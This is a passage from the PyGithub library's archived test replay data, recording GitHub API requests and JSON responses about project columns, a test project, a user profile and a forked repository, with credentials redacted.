'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"f79a53550c9b90814f0be2b54ab2cc8e"'), ('date', 'Fri, 17 Jan 2020 02:03:18 GMT'), ('content-type', 'application/json; charset=utf-8')] {} https POST api.github.com None /projects/columns/cards/11780055/moves {'Accept': 'application/vnd.github.inertia-preview+json', 'Authorization': 'Basic login_and_password_removed', 'Content-Type': 'application/json', 'User-Agent': 'PyGithub/Python'} {"column_id": 3138831, "position": "bottom"} 201 [('status', '201 Created'), ('x-ratelimit-remaining', '4982'), ('content-length', '2'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"e87658ab0c9b90814f0be2b54ab2cc8e"'), ('date', 'Fri, 17 Jan 2020 02:03:24 GMT'), ('content-type', 'application/json; charset=utf-8')] {} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/ProjectColumn.setUp.txt0000644000175100001660000002236514756101563022612 0ustar00runnerdockerhttps GET api.github.com None /projects/columns/8700460 {'Accept': 'application/vnd.github.inertia-preview+json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Tue, 14 Apr 2020 18:17:57 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4971'), ('X-RateLimit-Reset', '1586891696'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"71d35582bd4b20a516cb5f77785e78f7"'), ('X-OAuth-Scopes', 'admin:enterprise, admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, delete:packages, delete_repo, gist, notifications, read:packages, repo, user, workflow, write:discussion, write:packages'), ('X-Accepted-OAuth-Scopes', 'public_repo, repo'), ('X-GitHub-Media-Type', 'github.inertia-preview; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'E8EE:6E5A:25E489C:2CBBC06:5E95FE55')] {"url":"https://api.github.com/projects/columns/8700460","project_url":"https://api.github.com/projects/4294766","cards_url":"https://api.github.com/projects/columns/8700460/cards","id":8700460,"node_id":"MDEzOlByb2plY3RDb2x1bW44NzAwNDYw","name":"c1","created_at":"2020-04-13T20:29:53Z","updated_at":"2020-04-14T18:09:38Z"} https GET api.github.com None /projects/columns/8748065 {'Accept': 'application/vnd.github.inertia-preview+json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Thu, 16 Apr 2020 05:51:15 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4949'), ('X-RateLimit-Reset', '1587018429'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"300ff83801042bc987edec9dded63773"'), ('X-OAuth-Scopes', 'admin:enterprise, admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, delete:packages, delete_repo, gist, notifications, read:packages, repo, user, workflow, write:discussion, write:packages'), ('X-Accepted-OAuth-Scopes', 'public_repo, repo'), ('X-GitHub-Media-Type', 'github.inertia-preview; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'D59E:FA92:18965F9:1CB2924:5E97F252')] {"url":"https://api.github.com/projects/columns/8748065","project_url":"https://api.github.com/projects/4294766","cards_url":"https://api.github.com/projects/columns/8748065/cards","id":8748065,"node_id":"MDEzOlByb2plY3RDb2x1bW44NzQ4MDY1","name":"newTestColumn","created_at":"2020-04-16T05:42:37Z","updated_at":"2020-04-16T05:44:21Z"} https GET api.github.com None /projects/1682941 {'Accept': 'application/vnd.github.inertia-preview+json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Sat, 11 Aug 2018 05:11:57 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4977'), ('X-RateLimit-Reset', '1533965918'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP'), ('ETag', 'W/"27943de4706a46a49435f50612ed14a7"'), ('X-OAuth-Scopes', 'repo'), ('X-Accepted-OAuth-Scopes', 'public_repo, repo'), ('X-GitHub-Media-Type', 'github.inertia-preview; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-Runtime-rack', '0.073652'), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'DB5F:5AC5:10682C2:21382ED:5B6E701D')] {"owner_url":"https://api.github.com/repos/bbi-yggy/PyGithub","url":"https://api.github.com/projects/1682941","html_url":"https://github.com/bbi-yggy/PyGithub/projects/1","columns_url":"https://api.github.com/projects/1682941/columns","id":1682941,"node_id":"MDc6UHJvamVjdDE2ODI5NDE=","name":"TestProject","body":"To be used for testing project access API for PyGithub.","number":1,"state":"open","creator":{"login":"bbi-yggy","id":6392037,"node_id":"MDQ6VXNlcjYzOTIwMzc=","avatar_url":"https://avatars3.githubusercontent.com/u/6392037?v=4","gravatar_id":"","url":"https://api.github.com/users/bbi-yggy","html_url":"https://github.com/bbi-yggy","followers_url":"https://api.github.com/users/bbi-yggy/followers","following_url":"https://api.github.com/users/bbi-yggy/following{/other_user}","gists_url":"https://api.github.com/users/bbi-yggy/gists{/gist_id}","starred_url":"https://api.github.com/users/bbi-yggy/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bbi-yggy/subscriptions","organizations_url":"https://api.github.com/users/bbi-yggy/orgs","repos_url":"https://api.github.com/users/bbi-yggy/repos","events_url":"https://api.github.com/users/bbi-yggy/events{/privacy}","received_events_url":"https://api.github.com/users/bbi-yggy/received_events","type":"User","site_admin":false},"created_at":"2018-08-01T04:06:57Z","updated_at":"2018-08-03T00:31:17Z"} https GET api.github.com None /projects/1682941/columns {'Accept': 'application/vnd.github.inertia-preview+json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Mon, 13 Aug 2018 04:27:30 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4985'), ('X-RateLimit-Reset', '1534137668'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP'), ('ETag', 'W/"3163aa25d9bf114a91b6ac971fec44f1"'), ('X-OAuth-Scopes', 'repo'), ('X-Accepted-OAuth-Scopes', 'public_repo, repo'), ('X-GitHub-Media-Type', 'github.inertia-preview; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-Runtime-rack', '0.053606'), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'DE4F:5F76:13E71:35FB1:5B7108B1')] [{"url":"https://api.github.com/projects/columns/3138830","project_url":"https://api.github.com/projects/1682941","cards_url":"https://api.github.com/projects/columns/3138830/cards","id":3138830,"node_id":"MDEzOlByb2plY3RDb2x1bW4zMTM4ODMw","name":"To Do","created_at":"2018-08-01T04:07:35Z","updated_at":"2018-08-01T04:07:35Z"},{"url":"https://api.github.com/projects/columns/3138831","project_url":"https://api.github.com/projects/1682941","cards_url":"https://api.github.com/projects/columns/3138831/cards","id":3138831,"node_id":"MDEzOlByb2plY3RDb2x1bW4zMTM4ODMx","name":"In Progress","created_at":"2018-08-01T04:07:43Z","updated_at":"2018-08-01T04:54:16Z"},{"url":"https://api.github.com/projects/columns/3138832","project_url":"https://api.github.com/projects/1682941","cards_url":"https://api.github.com/projects/columns/3138832/cards","id":3138832,"node_id":"MDEzOlByb2plY3RDb2x1bW4zMTM4ODMy","name":"Done","created_at":"2018-08-01T04:07:47Z","updated_at":"2018-08-03T00:31:17Z"}] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/ProjectColumn.testCreate.txt0000644000175100001660000005704314756101563023616 0ustar00runnerdockerhttps GET api.github.com None /user {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Mon, 13 Aug 2018 20:46:31 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4992'), ('X-RateLimit-Reset', '1534195928'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding'), ('ETag', 'W/"a7b881032dc3372f0757ab8399ffce75"'), ('Last-Modified', 'Fri, 27 Jul 2018 17:52:16 GMT'), ('X-OAuth-Scopes', 'read:org, read:user, repo, user:email'), ('X-Accepted-OAuth-Scopes', ''), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-Runtime-rack', '0.038446'), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'ED45:528D:FD186:146DB5:5B71EE27')] {"login":"bbi-yggy","id":6392037,"node_id":"MDQ6VXNlcjYzOTIwMzc=","avatar_url":"https://avatars3.githubusercontent.com/u/6392037?v=4","gravatar_id":"","url":"https://api.github.com/users/bbi-yggy","html_url":"https://github.com/bbi-yggy","followers_url":"https://api.github.com/users/bbi-yggy/followers","following_url":"https://api.github.com/users/bbi-yggy/following{/other_user}","gists_url":"https://api.github.com/users/bbi-yggy/gists{/gist_id}","starred_url":"https://api.github.com/users/bbi-yggy/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bbi-yggy/subscriptions","organizations_url":"https://api.github.com/users/bbi-yggy/orgs","repos_url":"https://api.github.com/users/bbi-yggy/repos","events_url":"https://api.github.com/users/bbi-yggy/events{/privacy}","received_events_url":"https://api.github.com/users/bbi-yggy/received_events","type":"User","site_admin":false,"name":"Yossarian King","company":"Blackbird Interactive","blog":"","location":"Vancouver, Canada","email":null,"hireable":null,"bio":null,"public_repos":3,"public_gists":2,"followers":3,"following":1,"created_at":"2014-01-13T18:03:47Z","updated_at":"2018-07-27T17:52:16Z","private_gists":3,"total_private_repos":0,"owned_private_repos":0,"disk_usage":0,"collaborators":0,"two_factor_authentication":true,"plan":{"name":"free","space":976562499,"collaborators":0,"private_repos":0}} https GET api.github.com None /repos/bbi-yggy/PyGithub {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Mon, 13 Aug 2018 20:46:31 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4991'), ('X-RateLimit-Reset', '1534195928'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding'), ('ETag', 'W/"1a4d58b0c31a5e69747b7ad48d7a91ee"'), ('Last-Modified', 'Wed, 01 Aug 2018 05:11:35 GMT'), ('X-OAuth-Scopes', 'read:org, read:user, repo, user:email'), ('X-Accepted-OAuth-Scopes', 'repo'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-Runtime-rack', '0.077165'), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'ED5B:528C:C8555:10426C:5B71EE27')] {"id":143089995,"node_id":"MDEwOlJlcG9zaXRvcnkxNDMwODk5OTU=","name":"PyGithub","full_name":"bbi-yggy/PyGithub","owner":{"login":"bbi-yggy","id":6392037,"node_id":"MDQ6VXNlcjYzOTIwMzc=","avatar_url":"https://avatars3.githubusercontent.com/u/6392037?v=4","gravatar_id":"","url":"https://api.github.com/users/bbi-yggy","html_url":"https://github.com/bbi-yggy","followers_url":"https://api.github.com/users/bbi-yggy/followers","following_url":"https://api.github.com/users/bbi-yggy/following{/other_user}","gists_url":"https://api.github.com/users/bbi-yggy/gists{/gist_id}","starred_url":"https://api.github.com/users/bbi-yggy/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bbi-yggy/subscriptions","organizations_url":"https://api.github.com/users/bbi-yggy/orgs","repos_url":"https://api.github.com/users/bbi-yggy/repos","events_url":"https://api.github.com/users/bbi-yggy/events{/privacy}","received_events_url":"https://api.github.com/users/bbi-yggy/received_events","type":"User","site_admin":false},"private":false,"html_url":"https://github.com/bbi-yggy/PyGithub","description":"Typed interactions with the GitHub API v3","fork":true,"url":"https://api.github.com/repos/bbi-yggy/PyGithub","forks_url":"https://api.github.com/repos/bbi-yggy/PyGithub/forks","keys_url":"https://api.github.com/repos/bbi-yggy/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/bbi-yggy/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/bbi-yggy/PyGithub/teams","hooks_url":"https://api.github.com/repos/bbi-yggy/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/bbi-yggy/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/bbi-yggy/PyGithub/events","assignees_url":"https://api.github.com/repos/bbi-yggy/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/bbi-yggy/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/bbi-yggy/PyGithub/tags","blobs_url":"https://api.github.com/repos/bbi-yggy/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/bbi-yggy/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/bbi-yggy/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/bbi-yggy/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/bbi-yggy/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/bbi-yggy/PyGithub/languages","stargazers_url":"https://api.github.com/repos/bbi-yggy/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/bbi-yggy/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/bbi-yggy/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/bbi-yggy/PyGithub/subscription","commits_url":"https://api.github.com/repos/bbi-yggy/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/bbi-yggy/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/bbi-yggy/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/bbi-yggy/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/bbi-yggy/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/bbi-yggy/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/bbi-yggy/PyGithub/merges","archive_url":"https://api.github.com/repos/bbi-yggy/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/bbi-yggy/PyGithub/downloads","issues_url":"https://api.github.com/repos/bbi-yggy/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/bbi-yggy/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/bbi-yggy/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/bbi-yggy/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/bbi-yggy/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/bbi-yggy/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/bbi-yggy/PyGithub/deployments","created_at":"2018-08-01T01:50:10Z","updated_at":"2018-08-01T05:11:35Z","pushed_at":"2018-08-13T19:19:24Z","git_url":"git://github.com/bbi-yggy/PyGithub.git","ssh_url":"git@github.com:bbi-yggy/PyGithub.git","clone_url":"https://github.com/bbi-yggy/PyGithub.git","svn_url":"https://github.com/bbi-yggy/PyGithub","homepage":"http://pygithub.readthedocs.io/","size":11292,"stargazers_count":0,"watchers_count":0,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":0,"mirror_url":null,"archived":false,"open_issues_count":1,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"forks":0,"open_issues":1,"watchers":0,"default_branch":"master","permissions":{"admin":true,"push":true,"pull":true},"allow_squash_merge":true,"allow_merge_commit":true,"allow_rebase_merge":true,"parent":{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars0.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"private":false,"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments","created_at":"2012-02-25T12:53:47Z","updated_at":"2018-08-13T19:07:20Z","pushed_at":"2018-08-13T19:19:26Z","git_url":"git://github.com/PyGithub/PyGithub.git","ssh_url":"git@github.com:PyGithub/PyGithub.git","clone_url":"https://github.com/PyGithub/PyGithub.git","svn_url":"https://github.com/PyGithub/PyGithub","homepage":"http://pygithub.readthedocs.io/","size":11205,"stargazers_count":1976,"watchers_count":1976,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":691,"mirror_url":null,"archived":false,"open_issues_count":103,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"forks":691,"open_issues":103,"watchers":1976,"default_branch":"master"},"source":{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars0.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"private":false,"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments","created_at":"2012-02-25T12:53:47Z","updated_at":"2018-08-13T19:07:20Z","pushed_at":"2018-08-13T19:19:26Z","git_url":"git://github.com/PyGithub/PyGithub.git","ssh_url":"git@github.com:PyGithub/PyGithub.git","clone_url":"https://github.com/PyGithub/PyGithub.git","svn_url":"https://github.com/PyGithub/PyGithub","homepage":"http://pygithub.readthedocs.io/","size":11205,"stargazers_count":1976,"watchers_count":1976,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":691,"mirror_url":null,"archived":false,"open_issues_count":103,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"forks":691,"open_issues":103,"watchers":1976,"default_branch":"master"},"network_count":691,"subscribers_count":0} https POST api.github.com None /repos/bbi-yggy/PyGithub/projects {'Content-Type': 'application/json', 'Accept': 